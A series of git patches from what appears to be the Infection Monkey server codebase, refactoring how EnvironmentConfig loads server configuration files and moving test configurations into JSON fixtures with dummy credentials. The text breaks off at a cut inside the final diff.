[PATCH 0067/1360] cc: simplify constructor/factory interface for EnvironmentConfig The `get_from_json()` and `get_from_dict()` static methods were really just used for testing. The `EnvironmentConfig` class needs to store its file path so it can wite to the file if needed. In practical usage, `EnvironmentConfig` objects are initialized from files, so a simpler interface is for its constructor to take a file path. --- .../cc/environment/environment_config.py | 61 ++++----- .../cc/environment/environment_singleton.py | 2 +- .../cc/environment/server_config_generator.py | 2 +- .../cc/environment/test__init__.py | 66 +++++++--- .../cc/environment/test_environment_config.py | 116 ++++++++---------- .../environment/server_config_mocks.py | 41 ------- .../server_config_no_credentials.json | 4 + .../server_config_partial_credentials.json | 5 + .../server_config_standard_env.json | 4 + ...rver_config_standard_with_credentials.json | 6 + .../server_config_with_credentials.json | 6 + 11 files changed, 147 insertions(+), 166 deletions(-) delete mode 100644 monkey/monkey_island/cc/test_common/environment/server_config_mocks.py create mode 100644 monkey/monkey_island/cc/testing/environment/server_config_no_credentials.json create mode 100644 monkey/monkey_island/cc/testing/environment/server_config_partial_credentials.json create mode 100644 monkey/monkey_island/cc/testing/environment/server_config_standard_env.json create mode 100644 monkey/monkey_island/cc/testing/environment/server_config_standard_with_credentials.json create mode 100644 monkey/monkey_island/cc/testing/environment/server_config_with_credentials.json diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 006f4d23318..aec1a777f83 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -6,45 +6,22 @@ from typing import Dict, List import monkey_island.cc.environment.server_config_generator as server_config_generator -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore - class EnvironmentConfig: - def __init__(self, - server_config: str, - deployment: str, - user_creds: UserCreds, - aws=None): - self.server_config_path = None - self.server_config = server_config - self.deployment = deployment - self.user_creds = user_creds - self.aws = aws - - @staticmethod - def get_from_json(config_json: str) -> EnvironmentConfig: - data = json.loads(config_json) - return EnvironmentConfig.get_from_dict(data) + def __init__(self, file_path): + self._server_config_path = os.path.expanduser(file_path) + self.server_config = None + self.deployment = None + self.user_creds = None + self.aws = None - @staticmethod - def get_from_dict(dict_data: Dict) -> EnvironmentConfig: - user_creds = UserCreds.get_from_dict(dict_data) - aws = dict_data['aws'] if 'aws' in dict_data else None - return EnvironmentConfig(server_config=dict_data['server_config'], - deployment=dict_data['deployment'], - user_creds=user_creds, - aws=aws) - - def save_to_file(self): - with open(self.server_config_path, 'w') as f: - f.write(json.dumps(self.to_dict(), indent=2)) + self._load_from_file(self._server_config_path) - @staticmethod - def get_from_file(file_path=DEFAULT_SERVER_CONFIG_PATH) -> EnvironmentConfig: + def _load_from_file(self, file_path): file_path = os.path.expanduser(file_path) if not Path(file_path).is_file(): @@ -52,12 +29,24 @@ def get_from_file(file_path=DEFAULT_SERVER_CONFIG_PATH) -> EnvironmentConfig: with open(file_path, 'r') as f: config_content = f.read() - environment_config = EnvironmentConfig.get_from_json(config_content) - # TODO: Populating this property is not ideal. Revisit this when you - # make the logger config file configurable at runtime. - environment_config.server_config_path = file_path + self._load_from_json(config_content) - return environment_config + def _load_from_json(self, config_json: str) -> EnvironmentConfig: + data = json.loads(config_json) + self._load_from_dict(data) + + def _load_from_dict(self, dict_data: Dict): + user_creds = UserCreds.get_from_dict(dict_data) + aws = dict_data['aws'] if 'aws' in dict_data else None + + self.server_config = dict_data['server_config'] + self.deployment = dict_data['deployment'] + self.user_creds = user_creds + self.aws = aws + + def save_to_file(self): + with open(self._server_config_path, 'w') as f: + f.write(json.dumps(self.to_dict(), indent=2)) def to_dict(self) -> Dict: config_dict = {'server_config': self.server_config, diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index bbcc755849c..1d037051d87 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -39,7 +39,7 @@ def set_to_standard(): def initialize_from_file(file_path): try: - config = EnvironmentConfig.get_from_file(file_path) + config = EnvironmentConfig(file_path) __env_type = config.server_config set_env(__env_type, config) diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index d52d5261dc9..3c0fb083e2b 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -1,6 +1,6 @@ from pathlib import Path -from monkey_island.cc.consts import DEFAULT_STANDARD_SERVER_CONFIG +from monkey_island.cc.server_utils.consts import DEFAULT_STANDARD_SERVER_CONFIG def create_default_config_file(path): diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index c55e1b65bf1..3e805b712fa 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -1,15 +1,43 @@ import json import os +import tempfile from typing import Dict from unittest import TestCase from unittest.mock import MagicMock, patch -import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, InvalidRegistrationCredentialsError, RegistrationNotNeededError) from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds +TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") + +WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_with_credentials.json") +NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") +PARTIAL_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_partial_credentials.json") +STANDARD_WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, + "server_config_standard_with_credentials.json") +STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, + "server_config_standard_env.json") + + +def get_tmp_file(): + with tempfile.NamedTemporaryFile(delete=False) as f: + return f.name + + +class StubEnvironmentConfig(EnvironmentConfig): + def __init__(self, server_config, deployment, user_creds): + self.server_config = server_config + self.deployment = deployment + self.user_creds = user_creds + self.server_config_path = get_tmp_file() + + def __del__(self): + os.remove(self.server_config_path) + + def get_server_config_file_path_test_version(): return os.path.join(os.getcwd(), 'test_config.json') @@ -18,7 +46,7 @@ class TestEnvironment(TestCase): class EnvironmentCredentialsNotRequired(Environment): def __init__(self): - config = EnvironmentConfig('test', 'test', UserCreds()) + config = StubEnvironmentConfig('test', 'test', UserCreds()) super().__init__(config) _credentials_required = False @@ -28,7 +56,7 @@ def get_auth_users(self): class EnvironmentCredentialsRequired(Environment): def __init__(self): - config = EnvironmentConfig('test', 'test', UserCreds()) + config = StubEnvironmentConfig('test', 'test', UserCreds()) super().__init__(config) _credentials_required = True @@ -38,7 +66,7 @@ def get_auth_users(self): class EnvironmentAlreadyRegistered(Environment): def __init__(self): - config = EnvironmentConfig('test', 'test', UserCreds('test_user', 'test_secret')) + config = StubEnvironmentConfig('test', 'test', UserCreds('test_user', 'test_secret')) super().__init__(config) _credentials_required = True @@ -75,35 +103,35 @@ def test_try_needs_registration(self): def test_needs_registration(self): env = TestEnvironment.EnvironmentCredentialsRequired() - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_WITH_CREDENTIALS, False) - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_NO_CREDENTIALS, True) - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, True) + self._test_bool_env_method("needs_registration", env, WITH_CREDENTIALS, False) + self._test_bool_env_method("needs_registration", env, NO_CREDENTIALS, True) + self._test_bool_env_method("needs_registration", env, PARTIAL_CREDENTIALS, True) env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_STANDARD_ENV, False) - self._test_bool_env_method("needs_registration", env, config_mocks.CONFIG_STANDARD_WITH_CREDENTIALS, False) + self._test_bool_env_method("needs_registration", env, STANDARD_ENV, False) + self._test_bool_env_method("needs_registration", env, STANDARD_WITH_CREDENTIALS, False) def test_is_registered(self): env = TestEnvironment.EnvironmentCredentialsRequired() - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_WITH_CREDENTIALS, True) - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_NO_CREDENTIALS, False) - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, False) + self._test_bool_env_method("_is_registered", env, WITH_CREDENTIALS, True) + self._test_bool_env_method("_is_registered", env, NO_CREDENTIALS, False) + self._test_bool_env_method("_is_registered", env, PARTIAL_CREDENTIALS, False) env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_STANDARD_ENV, False) - self._test_bool_env_method("_is_registered", env, config_mocks.CONFIG_STANDARD_WITH_CREDENTIALS, False) + self._test_bool_env_method("_is_registered", env, STANDARD_ENV, False) + self._test_bool_env_method("_is_registered", env, STANDARD_WITH_CREDENTIALS, False) def test_is_credentials_set_up(self): env = TestEnvironment.EnvironmentCredentialsRequired() - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_NO_CREDENTIALS, False) - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_WITH_CREDENTIALS, True) - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_PARTIAL_CREDENTIALS, False) + self._test_bool_env_method("_is_credentials_set_up", env, NO_CREDENTIALS, False) + self._test_bool_env_method("_is_credentials_set_up", env, WITH_CREDENTIALS, True) + self._test_bool_env_method("_is_credentials_set_up", env, PARTIAL_CREDENTIALS, False) env = TestEnvironment.EnvironmentCredentialsNotRequired() - self._test_bool_env_method("_is_credentials_set_up", env, config_mocks.CONFIG_STANDARD_ENV, False) + self._test_bool_env_method("_is_credentials_set_up", env, STANDARD_ENV, False) def _test_bool_env_method(self, method_name: str, env: Environment, config: Dict, expected_result: bool): - env._config = EnvironmentConfig.get_from_json(json.dumps(config)) + env._config = EnvironmentConfig(config) method = getattr(env, method_name) if expected_result: self.assertTrue(method()) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index f038eed74b8..e508112d4b3 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -1,14 +1,28 @@ import json import os -from typing import Dict +import shutil import pytest -import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds +TEST_RESOURCES_DIR = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment" +) + +WITH_CREDENTIALS = os.path.join( + TEST_RESOURCES_DIR, "server_config_with_credentials.json" +) +NO_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_no_credentials.json") +PARTIAL_CREDENTIALS = os.path.join( + TEST_RESOURCES_DIR, "server_config_partial_credentials.json" +) +STANDARD_WITH_CREDENTIALS = os.path.join( + TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json" +) @pytest.fixture @@ -16,86 +30,59 @@ def config_file(tmpdir): return os.path.join(tmpdir, "test_config.json") -def test_get_with_credentials(config_file): - test_conf = config_mocks.CONFIG_WITH_CREDENTIALS - - _write_test_config_to_tmp(config_file, test_conf) - config_dict = EnvironmentConfig.get_from_file(config_file).to_dict() +def test_get_with_credentials(): + config_dict = EnvironmentConfig(WITH_CREDENTIALS).to_dict() assert len(config_dict.keys()) == 4 - assert config_dict["server_config"] == test_conf["server_config"] - assert config_dict["deployment"] == test_conf["deployment"] - assert config_dict["user"] == test_conf["user"] - assert config_dict["password_hash"] == test_conf["password_hash"] + assert config_dict["server_config"] == "password" + assert config_dict["deployment"] == "develop" + assert config_dict["user"] == "test" + assert config_dict["password_hash"] == "abcdef" -def test_get_with_no_credentials(config_file): - test_conf = config_mocks.CONFIG_NO_CREDENTIALS - - _write_test_config_to_tmp(config_file, test_conf) - config_dict = EnvironmentConfig.get_from_file(config_file).to_dict() +def test_get_with_no_credentials(): + config_dict = EnvironmentConfig(NO_CREDENTIALS).to_dict() assert len(config_dict.keys()) == 2 - assert config_dict["server_config"] == test_conf["server_config"] - assert config_dict["deployment"] == test_conf["deployment"] - + assert config_dict["server_config"] == "password" + assert config_dict["deployment"] == "develop" -def test_get_with_partial_credentials(config_file): - test_conf = config_mocks.CONFIG_PARTIAL_CREDENTIALS - _write_test_config_to_tmp(config_file, test_conf) - config_dict = EnvironmentConfig.get_from_file(config_file).to_dict() +def test_get_with_partial_credentials(): + config_dict = EnvironmentConfig(PARTIAL_CREDENTIALS).to_dict() assert len(config_dict.keys()) == 3 - assert config_dict["server_config"] == test_conf["server_config"] - assert config_dict["deployment"] == test_conf["deployment"] - assert config_dict["user"] == test_conf["user"] - - -def _write_test_config_to_tmp(config_file, config: Dict): - with open(config_file, "wt") as f: - json.dump(config, f) + assert config_dict["server_config"] == "password" + assert config_dict["deployment"] == "develop" + assert config_dict["user"] == "test" def test_save_to_file(config_file): - server_config = "standard" - deployment = "develop" - user = "test_user" - password_hash = "abcdef" - aws = "test" - - environment_config = EnvironmentConfig( - server_config, deployment, UserCreds(user, password_hash), aws - ) - environment_config.server_config_path = config_file + shutil.copyfile(STANDARD_WITH_CREDENTIALS, config_file) + environment_config = EnvironmentConfig(config_file) + environment_config.aws = "test_aws" environment_config.save_to_file() + with open(config_file, "r") as f: from_file = json.load(f) assert len(from_file.keys()) == 5 - assert from_file["server_config"] == server_config - assert from_file["deployment"] == deployment - assert from_file["user"] == user - assert from_file["password_hash"] == password_hash - assert from_file["aws"] == aws + assert from_file["server_config"] == "standard" + assert from_file["deployment"] == "develop" + assert from_file["user"] == "test" + assert from_file["password_hash"] == "abcdef" + assert from_file["aws"] == "test_aws" def test_add_user(config_file): - server_config = "standard" - deployment = "develop" - user = "test_user" - password_hash = "abcdef" - new_user = "new_user" new_password_hash = "fedcba" new_user_creds = UserCreds(new_user, new_password_hash) - environment_config = EnvironmentConfig( - server_config, deployment, UserCreds(user, password_hash) - ) - environment_config.server_config_path = config_file + shutil.copyfile(STANDARD_WITH_CREDENTIALS, config_file) + environment_config = EnvironmentConfig(config_file) environment_config.add_user(new_user_creds) with open(config_file, "r") as f: @@ -107,23 +94,17 @@ def test_add_user(config_file): def test_get_users(): - server_config = "standard" - deployment = "develop" - user = "test_user" - password_hash = "abcdef" - - environment_config = EnvironmentConfig( - server_config, deployment, UserCreds(user, password_hash) - ) - + environment_config = EnvironmentConfig(STANDARD_WITH_CREDENTIALS) users = environment_config.get_users() + assert len(users) == 1 assert users[0].id == 1 - assert users[0].username == user - assert users[0].secret == password_hash + assert users[0].username == "test" + assert users[0].secret == "abcdef" + def test_generate_default_file(config_file): - environment_config = EnvironmentConfig.get_from_file(config_file) + environment_config = EnvironmentConfig(config_file) assert os.path.isfile(config_file) @@ -132,4 +113,3 @@ def test_generate_default_file(config_file): assert environment_config.user_creds.username == "" assert environment_config.user_creds.password_hash == "" assert environment_config.aws is None - environment_config.server_config_path == config_file diff --git a/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py b/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py deleted file mode 100644 index ddbff311851..00000000000 --- a/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py +++ /dev/null @@ -1,41 +0,0 @@ -# Username:test Password:test -CONFIG_WITH_CREDENTIALS = { - "server_config": "password", - "deployment": "develop", - "user": "test", - "password_hash": "9ece086e9bac491fac5c1d1046ca11d737b92a2b2ebd93f005d7b710110c0a678288166e7fbe796883a" - "4f2e9b3ca9f484f521d0ce464345cc1aec96779149c14" -} - -CONFIG_NO_CREDENTIALS = { - "server_config": "password", - "deployment": "develop" -} - -CONFIG_PARTIAL_CREDENTIALS = { - "server_config": "password", - "deployment": "develop", - "user": "test" -} - -CONFIG_BOGUS_VALUES = { - "server_config": "password", - "deployment": "develop", - "user": "test", - "aws": "test", - "test": "test", - "test2": "test2" -} - -CONFIG_STANDARD_ENV = { - "server_config": "standard", - "deployment": "develop" -} - -CONFIG_STANDARD_WITH_CREDENTIALS = { - "server_config": "standard", - "deployment": "develop", - "user": "test", - "password_hash": "9ece086e9bac491fac5c1d1046ca11d737b92a2b2ebd93f005d7b710110c0a678288166e7fbe796883a" - "4f2e9b3ca9f484f521d0ce464345cc1aec96779149c14" -} diff --git a/monkey/monkey_island/cc/testing/environment/server_config_no_credentials.json b/monkey/monkey_island/cc/testing/environment/server_config_no_credentials.json new file mode 100644 index 00000000000..ecc4c17085f --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_no_credentials.json @@ -0,0 +1,4 @@ +{ + "server_config": "password", + "deployment": "develop" +} diff --git a/monkey/monkey_island/cc/testing/environment/server_config_partial_credentials.json b/monkey/monkey_island/cc/testing/environment/server_config_partial_credentials.json new file mode 100644 index 00000000000..a9e283924f4 --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_partial_credentials.json @@ -0,0 +1,5 @@ +{ + "server_config": "password", + "deployment": "develop", + "user": "test" +} diff --git a/monkey/monkey_island/cc/testing/environment/server_config_standard_env.json b/monkey/monkey_island/cc/testing/environment/server_config_standard_env.json new file mode 100644 index 00000000000..420f1b30328 --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_standard_env.json @@ -0,0 +1,4 @@ +{ + "server_config": "standard", + "deployment": "develop" +} diff --git a/monkey/monkey_island/cc/testing/environment/server_config_standard_with_credentials.json b/monkey/monkey_island/cc/testing/environment/server_config_standard_with_credentials.json new file mode 100644 index 00000000000..4bff379e8c9 --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_standard_with_credentials.json @@ -0,0 +1,6 @@ +{ + "server_config": "standard", + "deployment": "develop", + "user": "test", + "password_hash": "abcdef" +} diff --git a/monkey/monkey_island/cc/testing/environment/server_config_with_credentials.json b/monkey/monkey_island/cc/testing/environment/server_config_with_credentials.json new file mode 100644 index 00000000000..54c0fa78732 --- /dev/null +++ b/monkey/monkey_island/cc/testing/environment/server_config_with_credentials.json @@ -0,0 +1,6 @@ +{ + "server_config": "password", + "deployment": "develop", + "user": "test", + "password_hash": "abcdef" +} From a057dec1fe911973404613b6804321d7ca6eb5fb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 08:09:43 -0500 Subject: [PATCH 0068/1360] cc: use DEFAULT_SERVER_CONFIG_PATH in set_server_config --- monkey/monkey_island/cc/environment/set_server_config.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/set_server_config.py b/monkey/monkey_island/cc/environment/set_server_config.py index 168fe13cdff..2bb4336aee3 100644 --- a/monkey/monkey_island/cc/environment/set_server_config.py +++ b/monkey/monkey_island/cc/environment/set_server_config.py @@ -14,7 +14,7 @@ def add_monkey_dir_to_sys_path(): add_monkey_dir_to_sys_path() -from monkey_island.cc.environment.environment_config import EnvironmentConfig # noqa: E402 isort:skip +from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 isort:skip SERVER_CONFIG = "server_config" BACKUP_CONFIG_FILENAME = "./server_config.backup" @@ -26,7 +26,7 @@ def add_monkey_dir_to_sys_path(): def main(): args = parse_args() - file_path = EnvironmentConfig.get_config_file_path() + file_path = DEFAULT_SERVER_CONFIG_PATH if args.server_config == "restore": restore_previous_config(file_path) From dd9e4bdefa892d1d0d71f2ea34f9e6d924ce4d52 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 08:30:22 -0500 Subject: [PATCH 0069/1360] cc: address flake8 issues --- monkey/monkey_island.py | 4 ++-- .../cc/environment/environment_singleton.py | 2 ++ monkey/monkey_island/cc/environment/test__init__.py | 13 +++++++------ monkey/monkey_island/cc/main.py | 2 +- 4 files changed, 12 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 2e410cd9f32..f27efa01a84 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -2,8 +2,8 @@ gevent_monkey.patch_all() -from monkey_island.cc.main import main -from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.main import main # noqa: E402 +from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 def parse_cli_args(): diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index 1d037051d87..accb104ce98 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -37,6 +37,7 @@ def set_to_standard(): env.save_config() user_store.UserStore.set_users(env.get_auth_users()) + def initialize_from_file(file_path): try: config = EnvironmentConfig(file_path) @@ -49,4 +50,5 @@ def initialize_from_file(file_path): logger.error('Failed initializing environment', exc_info=True) raise + initialize_from_file(DEFAULT_SERVER_CONFIG_PATH) diff --git a/monkey/monkey_island/cc/environment/test__init__.py b/monkey/monkey_island/cc/environment/test__init__.py index 3e805b712fa..fde0a8b271c 100644 --- a/monkey/monkey_island/cc/environment/test__init__.py +++ b/monkey/monkey_island/cc/environment/test__init__.py @@ -1,4 +1,3 @@ -import json import os import tempfile from typing import Dict @@ -6,10 +5,12 @@ from unittest.mock import MagicMock, patch from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, - InvalidRegistrationCredentialsError, RegistrationNotNeededError) -from monkey_island.cc.environment import Environment, EnvironmentConfig, UserCreds - +from common.utils.exceptions import (AlreadyRegisteredError, + CredentialsNotRequiredError, + InvalidRegistrationCredentialsError, + RegistrationNotNeededError) +from monkey_island.cc.environment import (Environment, EnvironmentConfig, + UserCreds) TEST_RESOURCES_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "environment") @@ -19,7 +20,7 @@ STANDARD_WITH_CREDENTIALS = os.path.join(TEST_RESOURCES_DIR, "server_config_standard_with_credentials.json") STANDARD_ENV = os.path.join(TEST_RESOURCES_DIR, - "server_config_standard_env.json") + "server_config_standard_env.json") def get_tmp_file(): diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index b60a614977e..3da752ec9c3 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -21,7 +21,7 @@ logger = logging.getLogger(__name__) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 From ea14bcc2f65fd50aa202eec0e98b7b83241d883f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 08:33:19 -0500 Subject: [PATCH 0070/1360] cc: rename DEFAULT_STANDARD_SERVER_CONFIG -> DEFAULT_STANDARD_SERVER_CONFIG_PATH --- .../monkey_island/cc/environment/server_config_generator.py | 4 ++-- monkey/monkey_island/cc/server_utils/consts.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index 3c0fb083e2b..c9192260514 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -1,8 +1,8 @@ from pathlib import Path -from monkey_island.cc.server_utils.consts import DEFAULT_STANDARD_SERVER_CONFIG +from monkey_island.cc.server_utils.consts import DEFAULT_STANDARD_SERVER_CONFIG_PATH def create_default_config_file(path): - default_config = Path(DEFAULT_STANDARD_SERVER_CONFIG).read_text() + default_config = Path(DEFAULT_STANDARD_SERVER_CONFIG_PATH).read_text() Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 0be7e776d39..904526618b0 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -9,4 +9,4 @@ DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _SERVER_CONFIG_FILENAME) _STANDARD_SERVER_CONFIG_FILENAME = "server_config.json.standard" -DEFAULT_STANDARD_SERVER_CONFIG = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _STANDARD_SERVER_CONFIG_FILENAME) +DEFAULT_STANDARD_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _STANDARD_SERVER_CONFIG_FILENAME) From fc2f8eca45d975ed44ba8ef74287172198c1424f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 08:40:25 -0500 Subject: [PATCH 0071/1360] cc: remove unnecessary private constants in consts.py --- monkey/monkey_island/cc/server_utils/consts.py | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 904526618b0..cb91b6578f5 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -1,12 +1,14 @@ import os -__author__ = 'itay.mizeretz' +__author__ = "itay.mizeretz" -MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island') +MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 -_SERVER_CONFIG_FILENAME = "server_config.json" -DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _SERVER_CONFIG_FILENAME) +DEFAULT_SERVER_CONFIG_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json" +) -_STANDARD_SERVER_CONFIG_FILENAME = "server_config.json.standard" -DEFAULT_STANDARD_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', _STANDARD_SERVER_CONFIG_FILENAME) +DEFAULT_STANDARD_SERVER_CONFIG_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.standard" +) From fef44bcd05af8cd284f9882cd383d345bf6f487a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 17 Feb 2021 09:55:06 -0500 Subject: [PATCH 0072/1360] cc: deploy "develop" environment by default --- .travis.yml | 2 +- .../monkey_island/cc/environment/server_config_generator.py | 4 ++-- .../monkey_island/cc/environment/test_environment_config.py | 2 +- ...{server_config.json.default => server_config.json.develop} | 0 monkey/monkey_island/cc/server_config.json.standard | 4 ---- monkey/monkey_island/cc/server_utils/consts.py | 4 ++-- 6 files changed, 6 insertions(+), 10 deletions(-) rename monkey/monkey_island/cc/{server_config.json.default => server_config.json.develop} (100%) delete mode 100644 monkey/monkey_island/cc/server_config.json.standard diff --git a/.travis.yml b/.travis.yml index 8ac8db20420..509da86acd0 100644 --- a/.travis.yml +++ b/.travis.yml @@ -18,7 +18,7 @@ os: linux before_install: # Init server_config.json to default -- cp monkey/monkey_island/cc/server_config.json.default monkey/monkey_island/cc/server_config.json +- cp monkey/monkey_island/cc/server_config.json.develop monkey/monkey_island/cc/server_config.json install: # Python diff --git a/monkey/monkey_island/cc/environment/server_config_generator.py b/monkey/monkey_island/cc/environment/server_config_generator.py index c9192260514..211b745c5c2 100644 --- a/monkey/monkey_island/cc/environment/server_config_generator.py +++ b/monkey/monkey_island/cc/environment/server_config_generator.py @@ -1,8 +1,8 @@ from pathlib import Path -from monkey_island.cc.server_utils.consts import DEFAULT_STANDARD_SERVER_CONFIG_PATH +from monkey_island.cc.server_utils.consts import DEFAULT_DEVELOP_SERVER_CONFIG_PATH def create_default_config_file(path): - default_config = Path(DEFAULT_STANDARD_SERVER_CONFIG_PATH).read_text() + default_config = Path(DEFAULT_DEVELOP_SERVER_CONFIG_PATH).read_text() Path(path).write_text(default_config) diff --git a/monkey/monkey_island/cc/environment/test_environment_config.py b/monkey/monkey_island/cc/environment/test_environment_config.py index e508112d4b3..b06e2630144 100644 --- a/monkey/monkey_island/cc/environment/test_environment_config.py +++ b/monkey/monkey_island/cc/environment/test_environment_config.py @@ -109,7 +109,7 @@ def test_generate_default_file(config_file): assert os.path.isfile(config_file) assert environment_config.server_config == "password" - assert environment_config.deployment == "standard" + assert environment_config.deployment == "develop" assert environment_config.user_creds.username == "" assert environment_config.user_creds.password_hash == "" assert environment_config.aws is None diff --git a/monkey/monkey_island/cc/server_config.json.default b/monkey/monkey_island/cc/server_config.json.develop similarity index 100% rename from monkey/monkey_island/cc/server_config.json.default rename to monkey/monkey_island/cc/server_config.json.develop diff --git a/monkey/monkey_island/cc/server_config.json.standard b/monkey/monkey_island/cc/server_config.json.standard deleted file mode 100644 index 7bdd9a1631e..00000000000 --- a/monkey/monkey_island/cc/server_config.json.standard +++ /dev/null @@ -1,4 +0,0 @@ -{ - "server_config": "password", - "deployment": "standard" -} diff --git a/monkey/monkey_island/cc/server_utils/consts.py 